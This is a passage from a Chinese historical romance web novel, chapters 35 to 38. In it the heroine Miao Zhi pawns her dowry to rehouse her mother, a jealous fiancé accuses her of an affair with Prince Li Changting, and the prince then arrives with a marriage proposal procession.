牙保婆子说完,历常珽仿佛凝神想了想,“我知晓了,你还有什么事要说?”
“没,没有了。”
历常珽向身后长随示意,“给她赏。”
他道:“此事她既然不想让人知道,那就别再声张,有要你办的差事,本王会再吩咐你。”
“走吧。”
“是。”牙保婆子领了差钱便走了。
待到客厅冷清下来,历常珽思虑片刻,召来随从,“派人去一趟曲水大街,打听打听那座宅子的主人是谁。”
“就说,本王想购置一间私宅,这几日就愿意交易。”
妧枝从外面回到家,心还系在今日看的宅子上。
若是能将平氏等人都安置好了,那她就没什么后顾之忧了。
有了那样一个宅子,没有妧嵘,平氏想做什么便能做什么。
妧酨亦不用老躲在外面,宛若老鼠一般,怕在家里碰见对他动辄打骂的父亲。
妧柔也能平平安安长大,等她年岁到了,有了心爱的人,做阿姐的就会送她风风光光出嫁。
那样的日子,是妧枝心头的一个梦。
遥不可及,却又含唾手可得的嫌疑。
妧家的正厅里。
平氏疑惑地看着她,“怎么想到要去清点你的嫁妆?”
清明时节,妧枝说要出去办事,清早就做了好些点心,要送给甘府的老太君。
眼下回来后,便不经意提起想看看自己的嫁妆,找平氏要库房的钥匙。
妧枝:“只是忘了嫁妆有哪些,阿母让我瞧一瞧吧。”
她难得用那样娇憨的语气向平氏讨要什么,往常妧枝都是懂事而稳重的,偶尔像是带刺的花。
被挽住手臂,平氏不由地一怔,不记得多久没见过长女这么小女儿情态的样子了。
她笑起来,“好,给你给你,你想瞧就去瞧吧。”
“我猜,你莫不是想起与李四郎君的婚事,担心家里没给你备好嫁妆?快放心吧,即便家里不怎么充裕,但你的嫁妆,阿母从你小时候就为你攒着了。”
妧枝嘴角浅淡,看着为她去房中找钥匙的平氏,想起她出生后,在妧嵘还未心性大变前,其实平氏与他还是恩爱过一段时间。
但,是从什么时候变了呢?
她想要清点嫁妆,并非是平氏说的那样,担心家里没准备,妧枝一直知道,在这个家未彻底颓败堙灭前。
为了配得起王府的任何一位郎君,她的嫁妆不光平氏有所准备。
妧嵘也为她添了不少。
若是用这些换成钱,妧枝就足以买下能给他们安身立命之所的宅子了。
拿到钥匙,妧枝依旧还在平氏身边,并未立刻就走。
平氏好奇,“怎么了,你还有什么事?”
妧枝细细打量她,忽然抬起手帮她把平氏衣上的褶皱抚平了,“阿母今年好似很久没有裁新衣了。”
平氏略微触动,下一刻摸着自己的脸笑起来,说:“都到了人老珠黄的年纪,还要什么新衣,你与阿柔多备至些好看的衣裳就行了。”
妧枝:“阿母,总是多为别人想,可有为自己想过一些?”
平氏愣住,似是不明白今日妧枝是怎么了。
竟问的都好生奇怪。
“那我……嫁人作妇,为妻为母,有了你们,可不就只为你们着想,这一生不就这样了?”
妧枝:“那阿母可有想过,跟阿父和离,和我还有妧酨阿柔一起生活。”
妧枝陡然语出惊人,叫平氏不可置信地看着她,仿佛她说的是什么大逆不道的惊天之语。
“你……”
妧枝定定注视她,平氏眉眼已经没有年轻时那样的淑丽了。
除却细秀的眉头,挂在她眼角的是缱绻的眼纹和对日子的疲倦与麻木。
妧枝摸了上去,向她恳求,“阿母信我吧,我会让阿母过上好日子的。”
“阿母,跟阿枝一起过活吧。”
……
在将平氏他们安置在新家前,妧枝决定典当了这么多年积攒的嫁妆。
她本就无意再去嫁到王府,有没有嫁妆对她来说并不重要。
反倒是眼下她急需用钱,将这些东西拿来急用才是最好的。
平氏将钥匙交给妧枝后,对长女一如既往地放心,妧枝做事有头有尾,且有自己的主意,于是并未多去关注库房的变动。
在妧枝将自己的嫁妆拿去典当的第三日,京都的街头,她的轿车停在了木荷堂。
管事出来迎接,“妧娘子终于来了。”
妧枝刚从典当行出来不久,不想她常坐的一张轿子就被眼熟的人给找上了。
历常珽的长随道:“还请娘子去木荷堂一趟,郡王有事要与娘子相商。”
除去嫁妆,妧枝的另一条生财路也是靠着历常珽得到不少好处。
她不曾犹豫,就亲口应允,“即是郡王相请,那就去吧。”
“起轿,走。”
在她背后,两张耳目将她的行径瞧得一清二楚,一个在轿夫起轿后跟了上去。
另一个,与同伴商议好后,转向了来时的王府。
第35章 浑水一滩。
王府书房中,尽是白纸上渲染的墨香。
“阿兄,这里是不是画的不好,你快帮我改改,这雀鸟的翅膀,我怎么画的就是较为僵硬?”
商唯真坐在书房椅子上,央求着商榷安为她改画。
商榷安看了一眼,“不是你画的不好,而是你未在用心。”
商唯真脸上一红,恍若被说中心事。
今日天色宜人,正好阿兄不忙,待在府上。
商唯真便来此找他,看到窗外树上停着的鸟儿,觉着日光下的羽翼宛如彩衣,于是动了想要画下来的心思。
二人在书房研墨起笔,气氛美好而宁静。
商唯真大部分心思都不自禁偏向了立在书架前,负手而立的身影上,在画上便分了心。
熟料阿兄居然知道她不专心。
商唯真娇柔道:“阿兄,帮我改改……”
商榷安收起神思,欣然而至,来到商唯真身后,仿佛不经意般,却直接了当的圈住了她的手。
这让商唯真胸脯下的心跳越发厉害,然而在开口的那一瞬间,忽然门外有人进来。
“大郎君。”是近几日被派出去的披甲,看神情便知,是有事要向商榷安禀告。
商唯真看着他们。
往日一有这样的情况,多数时候她都在场,不用避讳,然而今日不大一样。
在披甲进来唤了声“大郎君”后,阿兄竟然从背后立起身,“唯真,出去一下好吗?”
商唯真瞳眸睁大,似乎预想不到会是这样的吩咐。
“阿兄……”
“披甲有要事向我禀告,有其他人在,他不方便。”
书房的门被悄然关上,站在外面的商唯真望着眼前的一幕,像是还感觉到不真切。
而屋中,商榷安面对下属的陈述,再次重复了一遍,“你是说,你亲眼见她去了典当行,典当了全部的嫁妆?”
披甲:“不错,此事是我亲耳所闻,属下还问了典当行的掌柜,对方也是这般说,‘那位官娘子急着用钱财,连嫁妆都不要了,真是了不得’。”
披甲学着掌柜的话,商榷安闻言,眸色变得又深又暗。
印象中,妧枝是任劳任怨的一个女子,她没有对不起任何人,甚至对于生养她的妧嵘和平氏,她都可以称得上问心无愧。
那么而今,她又是变卖嫁妆,又是添置新宅,是想做什么?
木荷堂是历常珽名下开设的茶室,往来招待的都是富户贵客,妧枝来过此处,已经不是当初谁都不认识的生人了。
下人对她身份颇为熟悉,甚至透着几分尊敬与讨好。
“妧娘子,快里面请。”木荷堂里的下人热络道:“郡王还是在老地方,正等着见妧娘子你呢。”
妧枝听闻后愣了愣。
下人们待她十分客气,就好像将来某一日,她身份会变得大不同,于是从最近起,提及她与历常珽,都充斥着旁人所盼望的亲昵。
“我来晚了。”她客气地说。
“不晚不晚,正合适呢。”下人推开房门,上回来过的茶室便落入妧枝眼眶。
历常珽正在里面与下属交代什么,只见妧枝一来,便吩咐道:“就这般吧,你们都下去。”
下人答应,都清楚郡王要与妧娘子单独说话。
从妧娘子身边经过时,历常珽身边做事的人都不禁余光悄悄观察了一眼。
许是妧枝对目光敏感,瞬间便抬头朝他们望去,想知道他们在看什么。
而在桌案前,将这一幕都目睹眼底的历常珽适时的咳了一声,“还不快出去,在磨蹭什么。”
“是,是。”下属们离开,不好再打量这位有可能成为郡王府的未来主母。
不过片刻,茶室的门便被紧紧关上。
“妧娘子,来坐吧。”历常珽出声招呼。
妧枝回过神,朝历常珽走近,对那道往日其实是敞开的门,并未表露出任何意见。
二人总要避嫌,私下相见,门开着可以避免许多误会。
然而今日,妧枝只想知道历常珽寻她是因为什么事。
而历常珽,似乎也只字不提。
这样仿佛多了许多亲密……
妧枝:“郡王寻我?日前送到府上的青团,郡王和老太君都吃了吗?”
今日得闲,并不着急,妧枝也就能与历常珽多聊几句家常。
未料想,历常珽声音一沉,忽然道:“正是尝过其中滋味,方才派人请你过来。”
“你在青团里到底放了什么?”
他神情严肃,不苟言笑。
妧枝心里一怔,见到这般情状,顿时有些不安,“怎么了?莫非是青团不好吃,还是老太君不合口味……”
然而历常珽未答她的话,妧枝只能回想自己在做青团时,是否掺了不该掺的东西。
亦或是周老夫人吃了它身子不适?
就在妧枝与历常珽对视间,仔细观察他神情,颇为担忧等待回应,只见这位郡王渐渐在与她相互凝视中,表情由沉到微笑起来。
“都不是。”
历常珽:“是你做的太香甜软糯,一送到府上,祖母就与大家分吃了。”
“连我,也不过只分到一小个而已。”他的沉脸在这一刻变得委屈。
气氛彻底轻松,妧枝登时嘴唇微张,笑容哑然。
“这……”
眼下可以确定,这位郡王方才是故意在逗她呢。
妧枝:“还好,原来只是不够吃,不然方才一听,还以为是我哪里做的不好。”
历常珽也是说完之后便后悔了,早该想到会吓着妧枝,他不该这般与她玩笑的。
“是我唐突了。”
“那下回,我再额外给郡王做一份。”
妧枝与他异口同声,四目相对都有些讶异,只是历常珽看着她的目光,里面的情绪越来越深。
他立马答应道:“那可说好……”
“也非是要妧娘子为我做什么,而是若能以后都能额外想到我,那就是常珽最大的幸事了。”
妧枝眨了下眼,确定自己没有听错。
历常珽刚才的话,透露出的情绪,情真意切,充满暗示。
此番之后,纵使妧枝没有回应,也似有莫名的气氛在流动。
历常珽:“说回正事吧,其实今日请你来,不单是为了青团,还有……”
在历常珽与她交谈一阵,忽而木荷堂内,传来一阵骚动声。
二人话音戛然而止,都分神去关注外面的动静。
就在妧枝聆听吵嚷的杂音越来越近,竟然是在茶室的房门前停下来时。
有人呵止:“公子,不可无礼啊!”
下一刻,一道身影忽地用力推开门闯进来。
带着怒不可及的面孔冷声质疑,“滚开,本公子倒要看看,到底是何方神圣这么大胆,敢动我的人!”
濉安王府,就在披甲向商榷安汇报不久,草玄堂里又匆匆回来一人。
“大郎君。”
派出去的下人得到应允入到室内,不等行礼,就听那道冷沉的嗓音道:“说。”
“四郎君那边得了信,知晓妧娘子去见了历郡王,此刻也追去木荷堂了。”
“眼下在那边,已经大闹起来了。”
木荷堂中,茶室门大肆敞开。
今日晴朗,清明刚过不久,来此的客人不少,但里面的下人训练有素,即便是李含翎带着王府的下人闯了进来,依然飞快的想了解决办法。
不等历常珽吩咐,便使人搬了屏风过来,将听到风声前来旁观看戏的客人目光都挡住。
管事也带人一一道歉,好声好气将这些贵客们请走。
实在不肯走的,那也只能听听风声,却隔着屏风,看不见人。
李含翎近日来,在王府里待着,比起从前相当安分守己。
他现在是与妧家议亲了的李四公子,未来岳丈有能耐能助他博取功名。
很快他就能一片前途似锦,不输于府中其他兄弟。
但是没想到,他一介纨绔暂时收了心,后院却起火了。
王府与妧家的亲事,本该在炙羊席后如火如荼的进行,他也该与妧枝多走动。
然而那边妧嵘却好似闯了大祸,濉安王消息灵通,说是近来朝野之中正在纠察处置与乱党有来往的臣子。
有的已经上了被盯上的名单,也不知妧嵘是否就在其中。
该避还是暂时先避,是以这么多日李含翎都没有主动来找妧枝联络感情。
可没想到,他会听见他院中的下人不经意提起,“说来我们四郎君与妧家的娘子议了亲,可是好久没见了吧。”
“这些时日,妧家娘子都不来登门了,四郎君也没去见她,不知道的还以为这亲事不成了呢。”
“你可别乱胡说,叫四郎君听见,非罚你不可!”
“唉……这可不是我乱说,这可是我亲眼所见啊,日前我外出办事,瞧见那妧娘子与其他男子在一起。当真!”
“若不是记得她来过我们府上,我还要以为自己瞧错了,咱们四郎君不曾与她议亲呢!”
一声尴尬的咳嗽声呵止了他们。
下人循声望去,只见他们背后,站着的四郎君已然面色铁青,眼神蕴藏愠怒地瞪着他们。
……
“四公子见到历郡王与妧娘子在一起,怒剑拔张,甚至动起了手。”
盯梢的下属向商榷安道:“为了不让妧娘子受牵连,历郡王始终护在妧娘子跟前,到最后都保护着她。”
“还扬言,即使是濉安王妃这位姑母来了,也是一样的局面。”
这万般是所有人都意想不到的结果。
“大郎君,这,历郡王是为了妧娘子,六亲不认啊。”
听着下属说道的商榷安面容出奇的冷峻,乌漆的瞳孔暗藏着任何人都看不透的深意。
第36章 决裂。
甘府是历常珽的母家,其父是异姓王,家中血脉不多,人口凋零。
是以历常珽的双亲故去后,生父这边的族亲倒不剩几个。
久而久之,甘府的亲人就成了与郡王府来往最多的一方。
周老夫人就生了一子一女,子继承家业,女嫁给王孙,也是高门之后。
没想到未能到颐养天年的年纪,就因事故早逝了,而留下的一根独苗又是个十分孝顺的郎君。
周老夫人因此不免对这个外孙多有疼惜,连带着甘府里的人都与历常珽来往密切,关系亲密,和自家兄弟无异。
阴雨随着节气消散,天色终于放晴,难得的好时光,让周老夫人和家眷们外出走走。
长子的原配夫人对她颇为敬重,搀扶着她在园林中遮阴蔽日的廊檐下歇息。
“婆母累了吧?快先喝口茶,润润喉吧。”大夫人接过婢女递来的水,喂到周老夫人嘴边。
干燥的喉舌被甜水滋润,一阵风吹来,倍感清凉的周老夫人发出叹息,“今日这风,真是舒爽不已。”
“老太君喜欢,那就在这多坐一会,待您休息好了,咱们再启程就是。”
一众人,不管年长的还是小辈,都围绕在这边赏景说笑,气氛融洽。
可就在此时,有一道甘府下人的影子,匆匆前来打扰。
“老太君,不好了。”
焦灼的呼唤等到了众人跟前,方才引起注意。
管事满头大汗地跑到周老夫人附近,面色凝重地道:“老太君,郡王出事了!”
木荷堂,宾客未散,都好奇地关注着茶室的方向。
妧枝惊讶地看向突然闯进来的李含翎,她与他多日未见,不知他怎么会来这里。
方才那些言语,让她知道不该放任他继续胡言乱语下去,“四公子,你是不是误会了?还请不要在此放肆。”
李含翎一来,就见到妧枝与历常珽独处一室。
他本是不相信下人说的那些话,更何况,历常珽是谁?是他李含翎的亲表兄。
他们母亲乃是亲的表姐妹,从小到大他们关系虽谈不上像与甘府那样亲近,却也并不陌生。
可怎么会是历常珽?这个喜好风雅,称得上是个儒雅君子的表兄?
李含翎朝着妧枝的方向道,眼睛却盯着历常珽,“我造次?阿枝,你莫非忘了,谁才是与你议亲的未来夫君?”
“我与你可是两家都承认的名正言顺的关系,可你与我表兄是怎么回事?”
“什么时候生出的奸情。”
道出这一句话时,屋内历常珽的眼神已经变沉,眉头皱起。
妧枝却好似除了略微讶异,竟是不见丝毫慌张,更是没有立马向李含翎解释。
而是冷静又淡定地同他说:“四公子,你这般胡乱猜测可不好,我是说,你真的误会了。”
她与历常珽哪里有什么私情?
妧枝不过是为了报恩,还他上一世的情分,她救了周老夫人,二人因此关系接近,相当于她结交了一个新的朋友。
说人情密切还差不多,妧枝觉得李含翎的说法当真荒唐至极。
她更多是疑惑,李含翎为什么会突然找来这里?
然而,知晓更多内情的李含翎死死盯着妧枝。
“误会?”
“这些时日,你未与我见面,都去做了什么,以为我不知道?”
和妧枝的亲事,让李含翎改变了对妧枝的初次印象。
从濉安王妃身边的婢女,窥探到妧枝主动勾搭历常珽起,李含翎便对与这样一个女子议亲感到不满了。
只是当时,父亲未曾透露妧嵘能给他们多少助力,李含翎在与李屹其的竞争中,并未多么上心。
但自知晓妧枝的价值后,不惜去郊外运了一院子的花来博她欢心。
她在炙羊席上的一番话,更让李含翎相信,濉安王妃的婢女看错了,是一场误会。
然而,在经过查证,都从甘府和郡王府的下人口中证实,妧枝的确经常来往两家,多次登门。
尤其甘府的下人口风里,似乎都将妧枝拿未来郡王妃看待,这岂是李含翎一面之词能说出来的?
能让底下人都这般以为,可见妧枝和李常珽偷偷背着王府这边,私下里曾接触了多少次,多么过分才导致这样的局面。
此女简直枉费他对她的信任,在被选择那天,他竟还觉得从未那般高兴过。
李含翎:“若要人不知,除非己莫为。”
他冷冷道。
妧枝张了张嘴,又觉得没有过多与此人解释的必要,很多时候事情在旁人眼中已经定性,说是说不清的。
但也不能就任由李含翎污蔑,清白还是要保留清白的。
“我说我与郡王不是你想的那样,那便真的不是,你若一意孤行要擅自揣测,那就与我等无关了。”
在旁沉默许久,是不想急忙开口,反添了倒忙的历常珽终于也张开嘴唇,他两眼都极为有神,有几分肃穆地看着李含翎,“四郎,妧娘子说的不错,她是清白的,你不可猜忌她。”
李含翎骤然反问:“她是清白的,那你呢?”
空气霎时安静。
妧枝一惊,觉得李含翎问得好生莫名其妙。
然而更让人出乎意料,历常珽那边话语有漏洞,竟不想被李含翎敏锐地抓住了。
历常珽看向身处于他跟李含翎之间的妧枝,从刚才起,在被李含翎言语为难,纠缠找茬时,妧枝都有着让人惊讶的镇定。
他不觉得一个女子就应该遇事哭啼而无解决的能力,但要一个女子遇到这种被“捉奸”的污蔑丑事,还能这么平静。
那定然是遇到过更大更困难的险阻,方才有今日的妧枝。
是以在觑见那张秀白丽质的面庞,看到她眼也不眨地同李含翎回话时,妧枝那副神色,出奇得让历常珽心生出一种怜惜。
所以,他才说她是清白的。
而他并不一定清白。
“……”
历常珽不回应,李含翎露齿阴森一笑,“不说话了,是被我说中了?”
妧枝拧眉,顿觉李含翎在此无理取闹。
“四公子……”
“你住嘴。”李含翎立时呵斥。
“你还未过门,就敢不守妇道。”
妧枝当即彻底冷下脸色,转而眼神如一汪清泉,又清又静默默无声地注视口无遮拦起来的李四郎君。
历常珽更是在下一刻,同样呵斥,“够了,含翎,别再胡说八道!”
眼见他们彼此相互维护,即便没有看到妧枝与历常珽有什么亲密举止,然而在李含翎心中,已然亲眼见到事实。
表兄和未来妻子的背叛,令他一时失去理智。
李含翎威胁道:“等着,此事我不会与你们善罢甘休,妧枝……”
“亲事,可就要因你今日种种作罢!”
李含翎撂下狠话,转身就走。
茶室外的屏风,久久都未撤离,外面的人看不见里面的人影,只听见历常珽好似向小娘子走近了。
接着,一声安抚响起,“不要怕,此事,我会妥善解决。”
妧枝从瞳孔到睫毛都在历常珽靠近时,探出的手搭在了她的肩上。
接着便愕然地眨动了一下,又一下。
“……”
甘府许久没有迎来什么大事。
周老夫人突发恶疾,晕倒是一回事,后面一口气被吊回来,这算是喜气。
不管亲朋好友还是邻里街坊,都说这是有福。
近来日子风调雨顺,除了养病就是养病,已经很久没有尝过闹腾的滋味。
直到管事来报,“郡王出事了。”
濉安王妃未曾想到有一日,她登门甘府会是这样一种情形。
她的侄儿,和她未来的儿媳妇搅合到一块去了。
这是一桩丑闻,更是一件丑事。
为了弄清楚这其中是否有误会,亦或是免得伤了两家的和气,濉安王妃都要亲自走一趟,在她姑姑的见证下,和这个侄儿对峙清楚。
要说历常珽与妧枝在一起,原来也是有迹可循的。
濉安王妃毫不怀疑,这其中很有可能存在她阿姑的手笔。
她阿姑老糊涂了,从她为阿姑引荐妧枝那日,就透露出图谋不轨的野心。
濉安王妃当时只以为阿姑是心血来潮,为侄儿的终身大事操劳,到了急病乱投医的程度。
于是将她带去后院,好好说了一番妧家和王府结亲的不易,未料想,这阿姑竟然闷不吭声,兴起了。
简直是为老不尊,再觊觎,也不该帮着侄儿来抢夺表弟的亲事才对。
甘府大门,濉安王妃的身影出现在门槛处。
她衣着显贵,特地打扮了一番,面上的浓眉和红唇,更衬托出她不好惹的气质。
身后从王府跟来不下十个护卫,就连婢女亦都充斥着来讨个公道的味道。
从跨过门槛,到抵达正厅,濉安王妃人未知,话语声便传至所有人的耳朵里:“阿姑可害惨我了!”
“今日若是不能给我个说法,你我两家日后可就要反目成仇了。”
濉安王妃人影到达,正厅内,除了甘府的人在以外,身陷风波的男子身影不躲不避,坦坦荡荡地立在厅堂,与绣帕捂着嘴唇,轻声咳嗽的周老夫人站在一块。
神情微微紧绷,处境宛如弱弦,庄严又肃静。
傍晚黄昏时分,商榷安从外面回到王府,书行居里亮起灯火,商唯真在房里沐浴过后和婢女照着镜子,修起眉毛。
商榷安被拦在路上,一身高官厚禄的着装,微微泛黑又透着清灰的夜色下。
五官清俊到极致,冷得有些发邪。
听着耳边言语,“四公子是去木荷堂那边闹了一场,回来后便惊动了王妃,找上了甘府和历郡王去,说是要退婚。”
“郡王说,若是四公子与妧娘子退了婚,这门亲他并不介意接手过去。”
第37章 求娶。
事情突发有因,妧枝的身份特殊,远远轮不到她来和甘府郡王府深交的程度。
其是与濉安王府里的公子议亲的女子,要熟悉来往,也应该是与未来夫家在一起才对。
甘府乃是濉安王府的旁亲,按理两边都不应该背着濉安王府私交往来。
可事实上就是,妧枝私下与周老夫人和历常珽就是走得比较近。
近到超出不该有的范围。
厅堂内,周老夫人换了衣着,也是通身气派。
家中小辈们都退下,只剩甘府的主家、长子以及长孙,还有历常珽在此面对濉安王妃等人。
因事情非同小可,且周老夫人得了消息后,与历常珽确认了想法。
从一开始,妧枝对他们这边想要求娶的意思并不知情,亦是周老夫人主张并且主动与妧枝私下接触。
是以今日,便没有让妧枝出面,而是以甘府和郡王府的名义与濉安王府相谈。
“归根结底,此事与那妧家的小娘子无关,而是我的过错。”
周老夫人端坐在堂上,在濉安王妃找来后,眉头微微搭拢,有着些许歉疚,却并无悔意。
“你要怪还是怪我,此女是我当初见了,就为之心喜的。”
周老夫人:“我瞧她,和常珽甚是般配,方才私下做主,与她联系。在此之前,这些牵桥搭线和撮合的事,不管是妧娘子还是常珽,他们都不知情。”
周老夫人坦然道,濉安王妃震惊了,怒然发声,“阿姑简直是糊涂了!即使再合适,此女也与我们王府议亲了,而今怎可让他们表兄弟之间,横刀夺爱呢!”
“此话的确有理,我的确是老糊涂了!”
周老夫人道:“可时至今日,即便你说妧家与你们王府议亲,将妧娘子指给了你们家四郎,那么婚书呢?聘礼呢?媒人呢?可都有拟定?”
苍老却稳重的声音一句一句将濉安王妃的话反驳,客厅里只剩濉安王妃的哑然与无言以对。
议亲虽是议亲,但周老夫人说的这些,两家还真没有明确且正式的通过气。
濉安王考量的是,等此次风波过去,妧嵘能摘除嫌疑后,再三媒六聘下达婚书。
一直没有给妧家立下纸质婚约,就是濉安王府给自己留的一条后路。
即可承诺,又可随时毁约。
此时还真叫周老夫人说对了,“无媒无聘,亦无婚书,不是议了亲,就将别人家的娘子定了生死。”
“婚约还可作废,既无婚书,不过口头商议,那就当不得真。我瞧你们也不是真心想要求娶,既然我这边也有意,常珽又如何不能和人家娘子往来?”
“莫非,妧家的小娘,还得你们来做主,得了你们的应允她才能嫁给谁?”
虽然字字句句都被周老夫人说中了,也不乏其中道理。
但濉安王妃依然道:“阿姑还真是巧言善辩的很呐!”
“口头上的约定如何就不能作数?此也是一种承诺,且我们两家约定好,只是没有立即立下婚书罢了。那也是有我们自己家许多考量,是想更为慎重谨慎对待这桩婚事,如何就是作废了?”
“还有常珽,你且是我看着长大的,我与你阿母不是亲生,胜似亲生。含翎也是你的表弟,你如何能做出瞧上你表弟未婚妻的事来?就不怕传出去,让世人耻笑么?!”
历常珽被当众点名,并未有一丝躲闪,而是走到濉安王妃跟前,在所有目光注视下,向濉安王妃弯下了腰,“常珽深表歉意,小姨母,但诸如祖母方才所说……”
“既然妧娘子,与四郎并未成立真正的婚约,那她能议亲一个,便能有两个。”
“君子好逑,不管四郎与妧娘子是否真的退亲,我这边都会去遣媒人上门求娶。此想法是我早就有之,祖母不过是按照寻常惯例督促我早日成家,并非是因为她撮合,我才顺势而为。与妧娘子,也没有干系。”
“还请小姨母,要责怪便责怪我。”
“我看你是昏了头了!”濉安王妃不可置信听完他这番话,双目大睁,在椅子上都坐不安稳。
历常珽神色不变,在这般情形下,更像是暗自松了口气。
甚至觉着,被察觉到了也好,正好免去了还要去濉安王府解决这桩婚事的麻烦。
“我非是糊涂了,今日所说的话,字字为真,在场的皆可作为凭证。”
历常珽:“我将求娶妧娘子,不管她最后会选谁,还请小姨母不要将常珽的错,迁怒到妧娘子那处。此事后果,由我一人承担即可。”
他说出的话掷地有声,令在场的人都露出了讶异的神色。
妧枝在李含翎去木荷堂闹过后,平静地回到家中。
那日她谢绝了历常珽送她的提议,而是无事人一般独自离开了。
历经过上辈子的大悲大喜,妧枝早已不是无知且弱不禁风的女子。
她虽然惊讶,却对发生的事并未感到一丝畏惧和害怕。
只是历常珽的态度,让她过于出乎意料罢了。
但是仔细回想,他的举止透露出种种细节,温柔的语调和细心的关怀,尽心尽力帮她做的事,也能让妧枝到此回味出来。
他其实是对她有意的。
是什么时候兴起的,妧枝无从察觉,要不是李含翎威胁,历常珽表态,妧枝都从未往那方面想过。
只单纯以为他们之间是报恩交换人情的关系。
那一刻她说不上来是什么滋味,只张了张唇,最后还是无言地回了家。
平氏见她回来,竟从她身上都瞧不出异常,可见妧枝当时历经一场风波,居然连一丝情绪都没有,堪称可怕。
此事说来说去,实则是场无妄之灾。
于她很不利。
郡王府与濉安王府乃是亲戚,而妧枝不过是一介外人,她和历常珽被人误会,首当其冲应该是妧家来承受濉安王府的怒火。
而妧枝根本不适合在这般情况下露面,由甘府和郡王府来处理最好不过。
但这般,也就默认于今后她和历常珽会有着特殊的联系……
回去后,妧家宅院里暂且风平浪静。
妧枝只字未提,平氏和妧嵘也就不知外面出了什么事。
然纸包不住火,总有意外的一天。
商唯真入住濉安王府已有多日,她平常不怎么出书行居,但偶尔也会出去走走。
府里的下人都认识了她,平日王府中的气氛谈不上怪异,还算客气平平。
然而近两日她发现,濉安王府里,好像出了什么重要的事,以至于下人们都在背地里议论纷纷。
“听说了吗?四郎君和妧家那娘子的亲事,好像要不成了。”
最近阿兄感觉好忙,仿佛心思不在她身上。
商唯真不想待在院子里,于是选择出来走走散散心,王府里的海棠春坞景色最为出众。
她带着婢女在此散步,未料还未走到,就在半路上听见躲在假山后的下人们偷偷议论的声音。
与婢女相视一眼,商唯真莫名的选择了不去惊扰他们,而是停下脚步,仔细听闻。
“你说的可都当真?与妧家的亲事当真要毁了?”
“哪里敢胡说呢,这消息可不止我一人知晓,府里其他管事可都一清二楚,还是听四郎君院子里的人亲口说的!”
对面一片唏嘘声,“怎会如此?日前不是还好端端的?”
“这你可就不知道了吧,这亲事自然是有人从中作梗,方才出了这样的岔子!”
“与咱们王府是亲戚的那位郡王爷,竟是对四郎君横刀夺爱,撬了他墙角,与那位妧家娘子有了勾连。你们说,这亲事,还能成吗?”
不远处,商唯真同婢女的神情不约而同流露出惊诧。
天色未晚时,商榷安回到书行居,发现一日不见,商唯真有些心不在焉。
只有在见到他回来后,脸上的情绪方才一变。
有些精神,满眼好奇和兴奋。
“榷安阿兄。”
商榷安来到桌前,一如往常接过商唯真给他倒的茶水,润了润喉,语调温和而平缓,“怎么了,唯真?”
商唯真近在眼前,拉扯着商榷安的衣袖,“阿兄,我今日听见一件事啊。”
在商榷安注视下,商唯真将白日里听来的流言重复一遍。
“妧娘子真的要跟四公子的亲事不成了吗?她和历郡王,原来是那种关系吗?这实在是太惹人感到惊奇了。”
商唯真感叹道,商榷安听了,却好似半点不惊,淡淡问:“你都听谁说的?”
“是府中。”商唯真:“府里的下人都传遍了,今日我和小云去海棠春坞,恰巧就撞见了。”
说完,她观察商榷安脸色。
莫非是她听信的都是传闻,当不得真了?
商榷安不管眉眼还是唇角,连细微的变化都不见,他的眼眸纯黑,清冷的宛若一汪泉底,最温凉的颜色。
“……”
“阿兄,是,是我说的不对吗?”商唯真疑惑。
商榷安的不回应让她感到一丝怪异,气氛微静,这样的情况不应该出现在他们当中。
堪称罕见。
最后,商榷安道:“府里的流言,你听听就好。”
听见熟悉的声音,商唯真松了口气,“放心吧,阿兄,我只是听说,不会轻易当真的。”
商榷安对此事没有再继续回应,仿佛并没有兴趣再提起这一话题。
商唯真仰头看着他,忽然抱怨说:“阿兄这几日在忙什么?都没有空陪我了,上回说好的带我去京中最好的登鹊楼买胭脂的呢,到底几时去啊?”
商榷安俯视过来,他的视线恍若能洞察人心,如同世上最锋利的尖锥。
商唯真倏地内心一跳。
然而,商榷安还记得他眼前的人是他什么人。
在商唯真感到有一丝压力之际,抬手轻抚了一下她的鬓发,安抚道:“明日去如何?近来朝中公务正忙,抓了一些乱党,我去陪审了几次。”
得到解释,商唯真心里顿时感觉好受许多,再看商榷安,他对她的态度和以往没什么不同。
任予任求,有求必应。
商唯真也贴心地答应过去,“好,那就听阿兄的。”
她实则不过也是觉着这几日商榷安因为公务而忽略她了,尤其上回在书房,竟将她都赶了出来。
这回她不免想要任性一下,即使再忙也想让商榷安陪她。
翌日和王府里其他院落不同。
李含翎的院子而今成了里面最大气不敢出一声的地方,碍于主子勃然大怒,无一个下人敢被抓住把柄,更加火上添油。
书行居,商唯真收拾好了以后,同商榷安同乘一辆马车,准备前往她想去的登鹊楼。
然而马车驶出去,来京中许久,却没外出逛过几次,不大认识路的商唯真也察觉出了马车走的道路,似乎有些许不同。
像京中最大的胭脂铺,所在的地方只会是最繁华的地段。
而靠着窗,她所见的巷子却越来越像住了人家的样子,根本没有几家商铺。
就在一个路口,马车忽然停下不动了。
商唯真等了片刻,也不见车夫再驾车,而商榷安居然也未曾吩咐继续向前,就如同特意等在这里般。
“阿兄,这是?”商唯真不解地朝商榷安瞧去。
下一刻,外面另一条路上却突地出现一阵吹打的动静,引了所有人的视线转移过去。
抬箱的队伍宛若迎亲去的一样,马背上坐着一道曾在濉安王府里见到过的身影,高大俊朗,朗朗乾坤,怀揣一只打下来的大雁,绑了红色彩结,与众人进入一个名叫状元巷的巷子口。
商榷安目光沉默地定在那支喜气洋洋的队伍上,看着为首的人影下马,停在妧家的石阶前,整理仪容,然后敲门,登门。
第38章 以人为盾。
后院,妧枝独坐在房内,面向窗台,仿若神游在外一样。
女仆从前院里快步走到她屋檐下,对着那道纤柔婉静的身影道:“女郎,快过去瞧瞧吧,家里来贵客了。”
“主母命我来请你了。”
对着空寂的风景面前,妧枝眨了下眼,她可以在后院听见前门热闹的吹吹打打的动静。
这昭示着历常珽说到做到,是他来了。
婢女看见妧枝从窗前的软榻上下来,女郎今日仿佛同谁约好般,竟换了新衣,头发和首饰都是自己整理的。
别有一种脱俗而宠辱不惊的静谧。
妧家的正厅虽小,却挤满了人。
状元巷里,更是因为这一只来路不一般的提亲队伍,引得大街小巷都对妧家的门户颇为关注。
妧嵘今日并未出门,他本意是想洗脱与乱党来往的嫌疑,近些时日安分守己,连最隐秘的温柔乡都不曾去。
未料忽然有人找上门,动静不小,且让心虚的他差点以为是东窗事发,大祸临头。
直到妻子亲自到屋里唤他,“主家,快去前院看看吧,锦瀚郡王府的人,来提亲了。”
在屋中犹豫不决,甚至起了翻墙逃走的念头的妧嵘登时一顿,阴沉如水的面容在刹那间变化。
“你说什么?锦瀚郡王,提亲?”
